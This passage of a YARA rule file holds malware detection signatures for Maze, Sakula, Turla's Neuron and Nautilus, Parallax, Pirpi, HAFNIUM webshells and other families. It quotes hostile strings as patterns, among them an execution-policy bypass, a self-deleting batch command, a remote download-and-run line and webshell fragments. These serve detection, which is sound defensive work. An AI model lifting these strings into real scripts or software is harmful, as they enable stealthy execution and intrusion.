		$str04 = "cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c \"%s\""
		$str05 = "Self Process Id:%d"
		$str06 = "%d_%d_%d_%s"
		$str07 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
		$str08 = "cmd.exe /c rundll32 \"%s\" ActiveQvaw \"%s\""
		$opcodes01 = { 83 F9 00 74 0E 31 C0 8A 03 D0 C0 34 ?? 88 03 49 43 EB ED }
		$opcodes02 = { 31 C0 8A 04 13 32 01 83 F8 00 75 0E 83 FA 00 74 04 49 4A }

	condition:
		4 of them
}

rule malware_sakula_shellcode
{
	meta:
		description = "Sakula shellcode - taken from decoded setup.msi but may not be unique enough to identify Sakula"
		author = "David Cannings"
		id = "147e4894-7877-5367-9f6b-588eb7f0379a"

	strings:
		$opcodes01 = { 55 89 E5 E8 00 00 00 00 58 83 C0 06 C9 C3 }
		$opcodes02 = { 8B 5E 3C 8B 5C 1E 78 8B 4C 1E 20 53 8B 5C 1E 24 01 F3 }

	condition:
		any of them
}

rule crime_win32_ransom_maze_dll_1
{
	meta:
		description = "Detects Maze ransomware payload dll unpacked"
		author = "@VK_Intel"
		reference = "https://twitter.com/VK_Intel/status/1251388507219726338"
		tlp = "white"
		date = "2020-04-18"
		id = "873aea2b-2dd4-5682-b979-35e73fbc189f"

	strings:
		$str1 = "Maze Ransomware" wide
		$str2 = "--logging" wide
		$str3 = "DECRYPT-FILES.txt" wide
		$tick_server_call = { ff ?? ?? 8b ?? ?? ?? ?? ?? ff d6 8b ?? 89 f9 50 ff ?? ?? ff d6 8d ?? ?? ?? 89 ?? ?? ?? 56 e8 ?? ?? ?? ?? 83 c4 04 b9 67 66 66 66 89 c5 f7 e9 89 d0 d1 fa c1 e8 1f 01 c2 8d ?? ?? 29 c5 56 e8 ?? ?? ?? ?? 83 c4 04 b9 56 55 55 55 89 c6 f7 e9 89 f9 89 d0 c1 e8 1f 01 d0 8d ?? ?? 29 c6 8b ?? 55 56 ff ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 89 ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 c5 50 ff d3 89 c6 ff ?? ?? ?? ff d3 8b ?? ?? ?? 01 f0 3d ff 03 00 00 0f ?? ?? ?? ?? ?? 55 ff ?? ?? ?? 68 a2 95 c3 00 53 ff ?? ?? ?? ?? ?? 83 c4 10 c6 ?? ?? ?? c6 ?? ?? ?? ?? }

	condition:
		( uint16( 0 ) == 0x5a4d and 3 of them ) or all of them
}

rule Neuron_common_strings
{
	meta:
		description = "Rule for detection of Neuron based on commonly used strings"
		author = "NCSC UK"
		hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
		date = "2017/11/23"
		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
		id = "168214d4-7436-531e-9c1f-48ca22215a1b"

	strings:
		$strServiceName = "MSExchangeService" ascii
		$strReqParameter_1 = "cadataKey" wide
		$strReqParameter_3 = "cadata" wide
		$strReqParameter_4 = "cadataSig" wide
		$strEmbeddedKey = "PFJTQUtleVZhbHVlPjxNb2R1bHVzPnZ3WXRKcnNRZjVTcCtWVG9Rb2xuaEVkMHVwWDFrVElFTUNTNEFnRkRCclNm clpKS0owN3BYYjh2b2FxdUtseXF2RzBJcHV0YXhDMVRYazRoeFNrdEpzbHljU3RFaHBUc1l4OVBEcURabVVZVklVb HlwSFN1K3ljWUJWVFdubTZmN0JTNW1pYnM0UWhMZElRbnl1ajFMQyt6TUhwZ0xmdEc2b1d5b0hyd1ZNaz08L01vZH VsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU+" wide
		$strDefaultKey = "8d963325-01b8-4671-8e82-d0904275ab06" wide
		$strIdentifier = "MSXEWS" wide
		$strListenEndpoint = "443/ews/exchange/" wide
		$strB64RegKeySubstring = "U09GVFdBUkVcTWljcm9zb2Z0XENyeXB0b2dyYXBo" wide
		$strName = "neuron_service" ascii
		$dotnetMagic = "BSJB" ascii

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and $dotnetMagic and 6 of ( $str* )
}

rule Neuron_standalone_signature
{
	meta:
		description = "Rule for detection of Neuron based on a standalone signature from .NET metadata"
		author = "NCSC UK"
		hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
		date = "2017/11/23"
		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
		id = "e0be2fe2-32fd-5bdf-bfac-a596264be7ba"

	strings:
		$a = { eb073d151231011234080e12818d1d051281311d1281211d1281211d128121081d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281 }
		$dotnetMagic = "BSJB" ascii

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and all of them
}

rule Nautilus_modified_rc4_loop
{
	meta:
		description = "Rule for detection of Nautilus based on assembly code for a modified RC4 loop"
		author = "NCSC UK"
		hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
		date = "2017/11/23"
		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
		id = "0c5da057-0f1d-5852-ad75-94bf40c133e4"

	strings:
		$a = {42 0F B6 14 04 41 FF C0 03 D7 0F B6 CA 8A 14 0C 43 32 14 13 41 88 12 49 FF C2 49 FF C9}

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and $a
}

rule Nautilus_rc4_key
{
	meta:
		description = "Rule for detection of Nautilus based on a hardcoded RC4 key"
		author = "NCSC UK"
		hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
		date = "2017/11/23"
		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
		id = "124c8b95-46fb-5cc1-9b10-b10536e1781d"

	strings:
		$key = {31 42 31 34 34 30 44 39 30 46 43 39 42 43 42 34 36 41 39 41 43 39 36 34 33 38 46 45 45 41 38 42}

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and $key
}

rule Nautilus_common_strings
{
	meta:
		description = "Rule for detection of Nautilus based on common plaintext strings"
		author = "NCSC UK"
		hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
		date = "2017/11/23"
		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
		id = "0e3af6ef-1a97-5324-a186-95e6f3d836f4"

	strings:
		$ = "nautilus-service.dll" ascii
		$ = "oxygen.dll" ascii
		$ = "config_listen.system" ascii
		$ = "ctx.system" ascii
		$ = "3FDA3998-BEF5-426D-82D8-1A71F29ADDC3" ascii
		$ = "C:\\ProgramData\\Microsoft\\Windows\\Caches\\{%s}.2.ver0x0000000000000001.db" ascii

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and 3 of them
}

rule Nautilus_forensic_artificats
{
	meta:
		description = "Rule for detection of Nautilus related strings"
		author = "NCSC UK / Florian Roth"
		date = "2017/11/23"
		score = 60
		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
		id = "0c0a24da-4dbc-543a-9ec0-a5b1ec75c889"

	strings:
		$ = "App_Web_juvjerf3.dll" fullword ascii
		$ = "App_Web_vcplrg8q.dll" fullword ascii
		$ = "ar_all2.txt" fullword ascii
		$ = "ar_sa.txt" fullword ascii
		$ = "Convert.FromBase64String(temp[1])" fullword ascii
		$ = "D68gq#5p0(3Ndsk!" fullword ascii
		$ = "dcomnetsrv" fullword ascii
		$ = "ERRORF~1.ASP" fullword ascii
		$ = "intelliAdminRpc" fullword ascii
		$ = "J8fs4F4rnP7nFl#f" fullword ascii
		$ = "Msnb.exe" fullword ascii
		$ = "nautilus-service.dll"
		$ = "Neuron_service" fullword ascii
		$ = "owa_ar2.bat" fullword ascii
		$ = "payload.x64.dll.system" fullword ascii
		$ = "service.x64.dll.system" fullword ascii

	condition:
		1 of them
}

rule APT_Neuron2_Loader_Strings
{
	meta:
		description = "Rule for detection of Neuron2 based on strings within the loader"
		author = "NCSC"
		referer = "https://otx.alienvault.com/pulse/5dad718fa5ec6c21e85c1c66"
		hash = "51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927"
		id = "eaef4710-1971-55a2-9079-07a9b8bd86eb"

	strings:
		$ = "dcom_api" ascii
		$ = "http://*:80/OWA/OAB/" ascii
		$ = "https://*:443/OWA/OAB/" ascii
		$ = "dcomnetsrv.cpp" wide
		$ = "dcomnet.dll" ascii
		$ = "D:\\Develop\\sps\\neuron2\\x64\\Release\\dcomnet.pdb" ascii

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and 2 of them
}

rule Pirpi_1609_A
{
	meta:
		description = "Detects Pirpi Backdoor - and other malware (generic rule)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/igxLyF"
		date = "2016-09-08"
		hash1 = "2a5a0bc350e774bd784fc25090518626b65a3ce10c7401f44a1616ea2ae32f4c"
		hash2 = "8caa179ec20b6e3938d17132980e0b9fe8ef753a70052f7e857b339427eb0f78"
		id = "72b996e2-56cf-5a8d-8d8b-97eda7105d26"

	strings:
		$x1 = "expand.exe1.gif" fullword ascii
		$c1 = "expand.exe" fullword ascii
		$c2 = "ctf.exe" fullword ascii
		$s1 = "flvUpdate.exe" fullword wide
		$s2 = "www.ThinkWorking.com" fullword wide
		$s3 = "ctfnon.exe" fullword ascii
		$s4 = "flv%d.exe" fullword ascii
		$s5 = "HARDWARE\\DESCRIPTION\\System\\BIOS" fullword ascii
		$s6 = "12811[%d].gif" fullword ascii
		$s7 = "GetApp03" fullword wide
		$s8 = "flvUpdate" fullword wide
		$s9 = "%d-%4.4d%d" fullword ascii
		$s10 = "http://%s/%5.5d.html" fullword ascii
		$s11 = "flvbho.exe" fullword wide
		$op1 = { 74 08 c1 cb 0d 03 da 40 eb }
		$op2 = { 03 f5 56 8b 76 20 03 f5 33 c9 49 }
		$op3 = { 03 dd 66 8b 0c 4b 8b 5e 1c 03 dd 8b 04 8b 03 c5 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and ( $x1 or all of ( $c* ) or all of ( $op* ) ) ) or ( 8 of them )
}

rule Pirpi_1609_B
{
	meta:
		description = "Detects Pirpi Backdoor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/igxLyF"
		date = "2016-09-08"
		hash1 = "498b98c02e19f4b03dc6a3a8b6ff8761ef2c0fedda846ced4b6f1c87b52468e7"
		id = "caf63b97-efd7-5cd4-8954-b86db4d93cf5"

	strings:
		$s1 = "tconn <ip> <port> //set temp connect value, and disconnect." fullword ascii
		$s2 = "E* ListenCheckSsl SslRecv fd(%d) Error ret:%d %d" fullword ascii
		$s3 = "%s %s L* ListenCheckSsl fd(%d) SslV(-%d-)" fullword ascii
		$s4 = "S:%d.%d-%d.%d V(%d.%d) Listen On %d Ok." fullword ascii
		$s5 = "E* ListenCheckSsl fd(%d) SslAccept Err %d" fullword ascii
		$s6 = "%s-%s N110 Ssl Connect Ok(%s:%d)." fullword ascii
		$s7 = "%s-%s N110 Basic Connect Ok(%s:%d)." fullword ascii
		$s8 = "tconn <ip> <port>" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and 2 of them ) or ( 4 of them )
}

private rule WINDOWS_UPDATE_BDC
{
	meta:
		score = 0

	condition:
		( uint32be( 0 ) == 0x44434d01 and uint32be( 4 ) == 0x50413330 ) or ( uint32be( 0 ) == 0x44434401 and uint32be( 12 ) == 0x50413330 )
}

rule SUSP_VULN_DRV_PROCEXP152_May23
{
	meta:
		description = "Detects vulnerable process explorer driver (original file name: PROCEXP152.SYS), often used by attackers to elevate privileges (false positives are possible in cases in which old versions of process explorer are still present on the system)"
		author = "Florian Roth"
		reference = "https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/"
		date = "2023-05-05"
		modified = "2023-07-28"
		score = 50
		hash1 = "cdfbe62ef515546f1728189260d0bdf77167063b6dbb77f1db6ed8b61145a2bc"
		id = "748eb390-f320-5045-bed2-24ae70471f43"

	strings:
		$a1 = "\\ProcExpDriver.pdb" ascii
		$a2 = "\\Device\\PROCEXP152" wide fullword
		$a3 = "procexp.Sys" wide fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule crime_win32_parallax_loader_1
{
	meta:
		description = "Detects Parallax Loader"
		author = "@VK_Intel"
		reference = "https://twitter.com/VK_Intel/status/1227976106227224578"
		date = "2020-02-24"
		hash1 = "829fce14ac8b9ad293076c16a1750502c6b303123c9bd0fb17c1772330577d65"
		id = "5e030b68-3c29-5203-bb4e-f01850bfbbab"

	strings:
		$main_call = { 68 81 85 50 00 e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 51 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 00 10 00 00 68 b0 a2 00 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 8c e1 4f 00 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 0c 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 40 84 50 00 8d ?? ?? ?? ?? ?? 51 e8 ?? ?? ?? ?? 83 c4 0c}
		$decoder_call = { 55 8b ec 83 c4 f8 33 c0 89 ?? ?? 33 d2 89 ?? ?? 8b ?? ?? 3b ?? ?? 7d ?? 8b ?? ?? 8b ?? ?? 8b ?? ?? 8b ?? ?? 33 ?? ?? ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? 89 ?? ?? 83 ?? ?? ?? 75 ?? 33 d2 89 ?? ?? eb ?? ff ?? ?? ff ?? ?? 8b ?? ?? 3b ?? ?? 7c ?? 59 59 5d c3}

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 2 of them
}

rule crime_win32_parallax_payload_1
{
	meta:
		description = "Detects Parallax Injected Payload v1.01"
		author = "@VK_Intel"
		reference = "https://twitter.com/VK_Intel/status/1227976106227224578"
		date = "2020-02-24"
		hash1 = "20d0be64a0e0c2e96729143d41b334603f5d3af3838a458b0627af390ae33fbc"
		id = "f3a23a28-e322-59ff-85e0-72e44def5c02"

	strings:
		$zwdelay_prologue = { 66 ?? ?? ?? 66 83 c1 01 66 ?? ?? ?? 50 b8 cb cb cb cb 89 ?? ?? ?? ?? ?? 58 8b ?? ?? ?? ?? ?? 89 ?? ?? 68 88 13 00 00 8b ?? ?? 8b ?? ?? 51 e8 ?? ?? ?? ??}
		$wininet_call = { b8 77 00 00 00 66 ?? ?? ?? b9 69 00 00 00 66 ?? ?? ?? ba 6e 00 00 00 66 ?? ?? ?? b8 69 00 00 00 66 ?? ?? ?? b9 6e 00 00 00 66 ?? ?? ?? ba 65 00 00 00 66 ?? ?? ?? b8 74 00 00 00 66 ?? ?? ?? 33 c9 66 ?? ?? ?? 8d ?? ?? 52 8b ?? ?? 8b ?? ?? ff d1 89 ?? ?? 6a 00 68 0c fc e5 f2 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 3d a8 16 da 8b ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 e0 05 65 01 8b ?? ?? 51 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 f5 98 c0 6c 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 24 1d 19 e5 8b ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 a8 ed f2 ce 8b ?? ?? 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 6a 00 ff ?? ?? 85 c0 75 ?? 68 88 13 00 00 ff ?? ?? eb ?? 6a 00 68 00 01 00 04 6a }
		$rand_png_call = { b8 25 00 00 00 66 ?? ?? ?? ?? ?? ?? b9 78 00 00 00 66 ?? ?? ?? ?? ?? ?? ba 2e 00 00 00 66 ?? ?? ?? ?? ?? ?? b8 70 00 00 00 66 ?? ?? ?? ?? ?? ?? b9 6e 00 00 00 66 ?? ?? ?? ?? ?? ?? ba 67 00 00 00 66 ?? ?? ?? ?? ?? ?? 33 c0 66 ?? ?? ?? ?? ?? ?? 6a 64 6a 40 8b ?? ?? 8b ?? ?? ff d2 89 ?? ?? 8b ?? ?? 50 68 00 e1 f5 05 68 10 27 00 00 e8 ?? ?? ?? ??}

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 2 of them
}

rule SUSP_ELF_SPARC_Hunting_SBZ_Obfuscation
{
	meta:
		description = "This rule is UNTESTED against a large dataset and is for hunting purposes only."
		author = "netadr, modified by Florian Roth to avoid elf module import"
		reference = "https://netadr.github.io/blog/a-quick-glimpse-sbz/"
		date = "2023-04-02"
		modified = "2023-05-08"
		score = 60
		id = "15ee9a66-d823-508c-a14c-2c6ff45f47e5"

	strings:
		$xor_block = { 9A 18 E0 47 9A 1B 40 01 9A 18 80 0D }
		$a1 = "SUNW_"

	condition:
		uint32be( 0 ) == 0x7f454c46 and $a1 and $xor_block
}

rule SUSP_ELF_SPARC_Hunting_SBZ_UniqueStrings
{
	meta:
		description = "This rule is UNTESTED against a large dataset and is for hunting purposes only."
		author = "netadr, modified by Florian Roth for performance reasons"
		reference = "https://netadr.github.io/blog/a-quick-glimpse-sbz/"
		date = "2023-04-02"
		modified = "2023-05-08"
		score = 60
		id = "d2f70d10-412e-5e83-ba4f-eac251012dc1"

	strings:
		$s1 = "<%u>[%s] Event #%u: "
		$s2 = "lprc:%08X" ascii fullword
		$s3 = "diuXxobB"
		$s4 = "CHM_FW"

	condition:
		2 of ( $* )
}

rule SUSP_ELF_SPARC_Hunting_SBZ_ModuleStruct
{
	meta:
		description = "This rule is UNTESTED against a large dataset and is for hunting purposes only."
		author = "netadr, modified by Florian Roth for FP reduction reasons"
		reference = "https://netadr.github.io/blog/a-quick-glimpse-sbz/"
		date = "2023-04-02"
		modified = "2023-05-08"
		score = 60
		id = "909746f1-44f5-597b-bdb2-2a1396d4b8c7"

	strings:
		$be = { 02 02 00 00 01 C1 00 07 }
		$le = { 02 02 00 00 07 00 C1 01 }

	condition:
		uint32be( 0 ) == 0x7f454c46 and ( $be or $le )
}

import "pe"

rule SUSP_XORed_URL_In_EXE
{
	meta:
		description = "Detects an XORed URL in an executable"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/stvemillertime/status/1237035794973560834"
		date = "2020-03-09"
		modified = "2022-09-16"
		score = 50
		id = "f83991c8-f2d9-5583-845a-d105034783ab"

	strings:
		$s1 = "http://" xor
		$s2 = "https://" xor
		$f1 = "http://" ascii
		$f2 = "https://" ascii
		$fp01 = "3Com Corporation" ascii
		$fp02 = "bootloader.jar" ascii
		$fp03 = "AVAST Software" ascii wide
		$fp04 = "smartsvn" wide ascii fullword
		$fp05 = "Avira Operations GmbH" wide fullword
		$fp06 = "Perl Dev Kit" wide fullword
		$fp07 = "Digiread" wide fullword
		$fp08 = "Avid Editor" wide fullword
		$fp09 = "Digisign" wide fullword
		$fp10 = "Microsoft Corporation" wide fullword
		$fp11 = "Microsoft Code Signing" ascii wide
		$fp12 = "XtraProxy" wide fullword
		$fp13 = "A Sophos Company" wide
		$fp14 = "http://crl3.digicert.com/" ascii
		$fp15 = "http://crl.sectigo.com/SectigoRSACodeSigningCA.crl" ascii
		$fp16 = "HitmanPro.Alert" wide fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( ( $s1 and #s1 > #f1 ) or ( $s2 and #s2 > #f2 ) ) and not 1 of ( $fp* ) and not pe.number_of_signatures > 0
}

rule APT_Malware_CommentCrew_MiniASP
{
	meta:
		description = "CommentCrew Malware MiniASP APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "VT Analysis"
		date = "2015-06-03"
		super_rule = 1
		hash0 = "0af4360a5ae54d789a8814bf7791d5c77136d625"
		hash1 = "777bf8def279942a25750feffc11d8a36cc0acf9"
		hash2 = "173f20b126cb57fc8ab04d01ae223071e2345f97"
		id = "a434012d-d13a-5061-a1d8-180d2c5828e8"

	strings:
		$x1 = "\\MiniAsp4\\Release\\MiniAsp.pdb" ascii
		$x2 = "run http://%s/logo.png setup.exe" fullword ascii
		$x3 = "d:\\command.txt" fullword ascii
		$z1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR " ascii
		$z2 = "Mozilla/4.0 (compatible; MSIE 7.4; Win32;32-bit)" fullword ascii
		$z3 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC" ascii
		$s1 = "http://%s/device_command.asp?device_id=%s&cv=%s&command=%s" fullword ascii
		$s2 = "kill process error!" fullword ascii
		$s3 = "kill process success!" fullword ascii
		$s4 = "pickup command error!" fullword ascii
		$s5 = "http://%s/record.asp?device_t=%s&key=%s&device_id=%s&cv=%s&result=%s" fullword ascii
		$s6 = "no command" fullword ascii
		$s7 = "software\\microsoft\\windows\\currentversion\\run" fullword ascii
		$s8 = "command is null!" fullword ascii
		$s9 = "pickup command Ok!" fullword ascii
		$s10 = "http://%s/result_%s.htm" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) ) or ( all of ( $z* ) ) or ( 8 of ( $s* ) )
}

rule DarkEYEv3_Cryptor
{
	meta:
		description = "Rule to detect DarkEYEv3 encrypted executables (often malware)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://darkeyev3.blogspot.fi/"
		date = "2015-05-24"
		hash0 = "6b854b967397f7de0da2326bdd5d39e710e2bb12"
		hash1 = "d53149968eca654fc0e803f925e7526fdac2786c"
		hash2 = "7e3a8940d446c57504d6a7edb6445681cca31c65"
		hash3 = "d3dd665dd77b02d7024ac16eb0949f4f598299e7"
		hash4 = "a907a7b74a096f024efe57953c85464e87275ba3"
		hash5 = "b1c422155f76f992048377ee50c79fe164b22293"
		hash6 = "29f5322ce5e9147f09e0a86cc23a7c8dc88721b9"
		hash7 = "a0382d7c12895489cb37efef74c5f666ea750b05"
		hash8 = "f3d5b71b7aeeb6cc917d5bb67e2165cf8a2fbe61"
		score = 55
		id = "a2b455e5-3021-5662-b593-c1aeeb34c226"

	strings:
		$s0 = "\\DarkEYEV3-"

	condition:
		uint16( 0 ) == 0x5a4d and $s0
}

rule TrojanDownloader
{
	meta:
		description = "Trojan Downloader - Flash Exploit Feb15"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/wJ8V1I"
		date = "2015/02/11"
		hash = "5b8d4280ff6fc9c8e1b9593cbaeb04a29e64a81e"
		score = 60
		id = "d61f59ef-31a3-5e52-9525-61910bb150db"

	strings:
		$x1 = "Hello World!" fullword ascii
		$x2 = "CONIN$" fullword ascii
		$s6 = "GetCommandLineA" fullword ascii
		$s7 = "ExitProcess" fullword ascii
		$s8 = "CreateFileA" fullword ascii
		$s5 = "SetConsoleMode" fullword ascii
		$s9 = "TerminateProcess" fullword ascii
		$s10 = "GetCurrentProcess" fullword ascii
		$s11 = "UnhandledExceptionFilter" fullword ascii
		$s3 = "user32.dll" fullword ascii
		$s16 = "GetEnvironmentStrings" fullword ascii
		$s2 = "GetLastActivePopup" fullword ascii
		$s17 = "GetFileType" fullword ascii
		$s19 = "HeapCreate" fullword ascii
		$s20 = "VirtualFree" fullword ascii
		$s21 = "WriteFile" fullword ascii
		$s22 = "GetOEMCP" fullword ascii
		$s23 = "VirtualAlloc" fullword ascii
		$s24 = "GetProcAddress" fullword ascii
		$s26 = "FlushFileBuffers" fullword ascii
		$s27 = "SetStdHandle" fullword ascii
		$s28 = "KERNEL32.dll" fullword ascii

	condition:
		$x1 and $x2 and ( all of ( $s* ) ) and filesize < 35000
}

rule IsmDoor_Jul17_A2
{
	meta:
		description = "Detects IsmDoor Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/Voulnet/status/892104753295110145"
		date = "2017-08-01"
		hash1 = "be72c89efef5e59c4f815d2fce0da5a6fac8c90b86ee0e424868d4ae5e550a59"
		hash2 = "ea1be14eb474c9f70e498c764aaafc8b34173c80cac9a8b89156e9390bd87ba8"
		id = "ea72a496-cbc8-56f6-a852-7af9761ea58e"

	strings:
		$s1 = "powershell -exec bypass -file \"" fullword ascii
		$s2 = "PAQlFcaWUaFkVICEx2CkNCUUpGcA" ascii
		$s3 = "\\Documents" ascii
		$s4 = "\\Libraries" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 3 of them )
}

rule Unknown_Malware_Sample_Jul17_2
{
	meta:
		description = "Detects unknown malware sample with pastebin RAW URL"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/iqH8CK"
		date = "2017-08-01"
		hash1 = "3530d480db082af1823a7eb236203aca24dc3685f08c301466909f0794508a52"
		id = "ce82b9eb-a9cb-5122-85dc-22794174c2f8"

	strings:
		$s1 = "4System.Web.Services.Protocols.SoapHttpClientProtocol" fullword ascii
		$s2 = "https://pastebin.com/raw/" wide
		$s3 = "My.Computer" fullword ascii
		$s4 = "MyTemplate" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule MAL_unspecified_Jan18_1
{
	meta:
		description = "Detects unspecified malware sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-01-19"
		hash1 = "f87879b29ff83616e9c9044bd5fb847cf5d2efdd2f01fc284d1a6ce7d464a417"
		id = "f3187c60-8fff-54de-9918-2fb2301f2d92"

	strings:
		$s1 = "User-Agent: Mozilla/4.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" fullword ascii
		$s2 = "ping 192.0.2.2 -n 1 -w %d >nul 2>&1" fullword ascii
		$s3 = "[Log Started] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword ascii
		$s4 = "start /b \"\" cmd /c del \"%%~f0\"&exit /b" fullword ascii
		$s5 = "[%s] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword ascii
		$s6 = "%s\\%s.bat" fullword ascii
		$s7 = "DEL /s \"%s\" >nul 2>&1" fullword ascii

	condition:
		filesize < 300KB and 2 of them
}

rule WEBSHELL_ASP_Embedded_Mar21_1
{
	meta:
		description = "Detects ASP webshells"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2021-03-05"
		score = 85
		id = "7cf7db9d-8f8a-51db-a0e6-84748e8f9e1f"

	strings:
		$s1 = "<script runat=\"server\">" nocase
		$s2 = "new System.IO.StreamWriter(Request.Form["
		$s3 = ".Write(Request.Form["

	condition:
		filesize < 100KB and all of them
}

rule APT_WEBSHELL_HAFNIUM_SecChecker_Mar21_1
{
	meta:
		description = "Detects HAFNIUM SecChecker webshell"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/markus_neis/status/1367794681237667840"
		date = "2021-03-05"
		hash1 = "b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0"
		id = "73db3d78-7ece-53be-9efb-d19801993d5e"

	strings:
		$x1 = "<%if(System.IO.File.Exists(\"c:\\\\program files (x86)\\\\fireeye\\\\xagt.exe" ascii
		$x2 = "\\csfalconservice.exe\")){Response.Write( \"3\");}%></head>" ascii fullword

	condition:
		uint16( 0 ) == 0x253c and filesize < 1KB and 1 of them or 2 of them
}

rule APT_HAFNIUM_Forensic_Artefacts_Mar21_1
{
	meta:
		description = "Detects forensic artefacts found in HAFNIUM intrusions"
		author = "Florian Roth (Nextron Systems)"
